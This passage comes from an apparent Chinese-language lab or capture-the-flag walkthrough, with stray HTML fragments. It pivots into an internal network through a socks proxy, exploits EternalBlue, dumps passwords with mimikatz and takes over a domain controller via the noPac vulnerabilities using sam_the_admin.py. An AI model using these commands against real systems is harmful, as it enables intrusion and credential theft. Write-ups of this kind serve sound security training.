route add 10.0.1.0 255.255.255.0 1
route print/pre
然后配置 proxychain4.conf 文件并使用socks模块
pre class="md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"search socks
use auxiliary/sevrer/socks_proxy
run/pre
我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描
pre class="md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains4 nmap -sT -Pn 10.0.1.7/pre
发现有445端口,那么对445端口进一步扫描
先确定一下系统版本,使用 auxiliary/scanner/smb/smb_version 模块,发现是win7 sp1
看能不能利用永恒之蓝,这里使用到 auxiliary/scanner/smb/smb_ms17_010 模块,发现可以利用永恒之蓝
使用 exploit/windows/smb/ms17_010_eternalbule 模块,因为是不出网环境,这里需要用到 bind_tcp 载荷
run之后拿到一个system权限的meterpreter
在 C:\Users\root\Desktop 下拿到第二个flag
然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡
ipconfig /all看到dns服务器为 redteam.lab 应该在域内
这里ping一下 redteam.lab 得到域控的ip为10.0.0.12
这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到 Administrator/Admin12345 ,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击,关于漏洞的原理请 移步
pre class="md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"privilege::debug
sekurlsa::logonpasswords/pre
这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显
本来准备一步一步的用原始的方法打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧
这里直接使用 sam_the_admin.py 进行攻击
pre class="md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell/pre
即可拿到DC的shell
在 C:\Users\Administrator\Desktop 下找到最后一个flag
关于docker逃逸和docker逃逸方法的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。